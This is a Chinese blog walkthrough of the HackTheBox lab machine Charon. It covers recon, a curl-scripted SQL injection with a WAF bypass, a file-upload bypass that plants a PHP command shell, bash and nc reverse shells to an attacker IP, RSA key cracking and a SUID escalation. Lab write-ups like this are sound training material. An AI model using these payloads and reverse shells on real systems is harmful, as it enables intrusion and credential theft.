记一次对HackTheBox:Charon的渗透测试

admin 2023年3月11日23:26:43记一次对HackTheBox:Charon的渗透测试已关闭评论34 views字数 2993阅读9分58秒阅读模式

靶机地址:https://www.hackthebox.eu/home/machines/profile/42

靶机难度:中级(3.5/10)

靶机发布日期:2017年10月7日

靶机描述:

Charon is definitely one of the more challenging machines on HackTheBox. It does not require any advanced techniques, however there are many subtle tricks needed at almost every step of exploitation.

请注意:对于所有这些计算机,我是通过平台授权允许情况进行渗透的。我将使用Kali Linux作为解决该HTB的攻击者机器。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,我概不负责。

一、信息收集:

1.端口扫描

nmap发现开放了OpenSSH和Apache服务。

记一次对HackTheBox:Charon的渗透测试

访问80端口,发现是一个cms界面。

记一次对HackTheBox:Charon的渗透测试

翻了一下,没有可用的地方。

记一次对HackTheBox:Charon的渗透测试

2.目录扫描

使用gobuster进行目录扫描

gobuster dir-u http://10.10.10.31 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php -o scans/gobuster-root-small-php -t 40

扫描发现存在cmsdata目录。

记一次对HackTheBox:Charon的渗透测试

访问一下,发现是一个登录框,测试几个弱口令没成功。

记一次对HackTheBox:Charon的渗透测试

记一次对HackTheBox:Charon的渗透测试

发现有一个忘记密码功能。butp抓包测试sql注入。

记一次对HackTheBox:Charon的渗透测试

二、漏洞利用

3.sql注入

输入'报错,然后输入"提提升找不到这个emali。证明存在sql注入。

记一次对HackTheBox:Charon的渗透测试

记一次对HackTheBox:Charon的渗透测试

使用limit进行判断字段。

记一次对HackTheBox:Charon的渗透测试

1.脚本测试

使用脚本枚举出了可用的用户名。

for i in{ 1..1000 } ;*do *curl -s http://10.10.10.31/cmsdata/forgot.php --data-urlencode"[email protected]' or 1=1 limit \${ i } ,1;-- -" | grep'\

' | awk'{print \$5}' | grep-v"^with" || break;done

for i in $(seq 0 300); do
payload="[email protected]' UNIoN SELECT 1,2,3,CONCAT(__username_, ':', __password_, '@b.com') FROM supercms.operators LIMIT 1 OFFSET $i-- -"
curl -s -d "$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*@b.com'
done

记一次对HackTheBox:Charon的渗透测试

2.手工union联合查询Bypass waf

经过测试,发现在查到第4位的时候会出现报错。

记一次对HackTheBox:Charon的渗透测试

猜测可能存在waf拦截,然后经过测试,将UNION SELECT都使用大写进行测试,可以成功测试注入。

记一次对HackTheBox:Charon的渗透测试

记一次对HackTheBox:Charon的渗透测试

使用脚本探测那一列是电子邮箱的地址。

for i in \$(seq 0 300); dopayload="[email protected]' UNIoN SELECT 1,2,3,CONCAT(__username_, ':', __password_, '@b.com') FROM supercms.operators LIMIT 1 OFFSET \$i-- -"curl -s -d "\$payload" http://10.10.10.31/cmsdata/forgot.php | grep -o '[^ ]*@b.com' done

记一次对HackTheBox:Charon的渗透测试

记一次对HackTheBox:Charon的渗透测试

发现到了第四列的时候,出现了有关邮箱的格式。

记一次对HackTheBox:Charon的渗透测试

使用脚本枚举数据库。

for i in {0..100}; do curl -s http://10.10.10.31/cmsdata/forgot.php --data-urlencode "[email protected]' UNiON SELECT 1,schema_name,3,'[email protected]' from information_schema.schemata limit ${i},1;-- -" | grep '<h2>' | awk '{print $5}' | grep -v "^with$" || break; done | cut -d'>' -f2

记一次对HackTheBox:Charon的渗透测试

使用GROUP_CONCATSQL 函数,它将一整列合并为一个结果。

记一次对HackTheBox:Charon的渗透测试

记一次对HackTheBox:Charon的渗透测试

记一次对HackTheBox:Charon的渗透测试

联合查询获取用户名和密码。

记一次对HackTheBox:Charon的渗透测试

查找管理员用户名和密码。

记一次对HackTheBox:Charon的渗透测试

4.md5解密

super_cms_adm:0b0689ba94f94533400f4decd87fa260,decoder:5f4dcc3b5aa765d61d8327deb8

记一次对HackTheBox:Charon的渗透测试

5.文件上传

成功登录之后,发现存在一个上传地址。

记一次对HackTheBox:Charon的渗透测试

对php格式的文件进行测试,发现不能成功上传。

记一次对HackTheBox:Charon的渗透测试

测试.php.jpg格式的文件进行上传,可以上传不能解析。

服务器通常通过三种方式过滤文件类型:

  • 文件扩展名
  • 内容类型
  • 魔术字节/MIME 类型

我已经用 提交了这个Content-Type: image/jpeg,所以它必须不止于此。该消息表明它正在限制扩展。如果我只是上传cmd.jpg而不更改名称,它仍然会报错。

6.文件上传bypass

发现返回包,存在一个字段类似于base64加密的。

记一次对HackTheBox:Charon的渗透测试

使用echo进行base64解密。

记一次对HackTheBox:Charon的渗透测试

然后修改name格式,进行上传。

记一次对HackTheBox:Charon的渗透测试

不能成功上传。

记一次对HackTheBox:Charon的渗透测试

然后先设置burp,接收响应包的内容。

1.修改前端代码绕过文件上传

将name修改为testfile1

记一次对HackTheBox:Charon的渗透测试

然后输入cmd.php,重新上传.php.jpg格式的文件。成功上传。

记一次对HackTheBox:Charon的渗透测试

2.命令执行

在上传之后可以利用cmd去执行一些命令。

记一次对HackTheBox:Charon的渗透测试

三、权限提升

7.使用bash反弹shell

bash -c 'bash -i >%26 /dev/tcp/10.10.16.2/443 0>%261

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 443 >/tmp/f

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

记一次对HackTheBox:Charon的渗透测试

nc进行监听

记一次对HackTheBox:Charon的渗透测试

成功反弹shell。

记一次对HackTheBox:Charon的渗透测试

翻文件,发现在home/decoder目录下存在2个密钥。

8.使用nc下载文件

记一次对HackTheBox:Charon的渗透测试

记一次对HackTheBox:Charon的渗透测试

9.密钥解密

记一次对HackTheBox:Charon的渗透测试

使用RsaCtfTool进行暴力破解

安装步骤:

(sudo apt install libmpc-dev libgmp3-dev sagemath和pip3 install -r requirements.txt)

记一次对HackTheBox:Charon的渗透测试

成功解密。

记一次对HackTheBox:Charon的渗透测试

10.ssh远程登录

获取第一个flag(user.txt)。

记一次对HackTheBox:Charon的渗透测试

11、使用find命令,查找可利用的suid文件

find / -perm-4000-ls 2>/dev/null

记一次对HackTheBox:Charon的渗透测试

发现supershell可以利用。

记一次对HackTheBox:Charon的渗透测试

利用supershell成功读到了root.txt,成功获得了第二个flag。

记一次对HackTheBox:Charon的渗透测试

总结:

这个靶机难度是中等难度,但是给我带来了很多的知识点,也学到了很多。靶机的操作流程就是信息收集,从端口扫描到目录枚举,漏洞利用主要是sql注入,文件上传及手工union查询bypasswaf和文件上传的绕过。绕过之后进行反弹shell,反弹shell之后,翻文件,翻到了2个密钥,使用工具进行暴力破解,接着ssh远程登录,使用find命令查找可用的用法,然后使用其用法读到了root.txt文件的内容。靶机难度还是有的,也有很多新知识,建议有时间的小伙伴可以试试。

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月11日23:26:43
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次对HackTheBox:Charon的渗透测试https://cn-sec.com/archives/1599463.html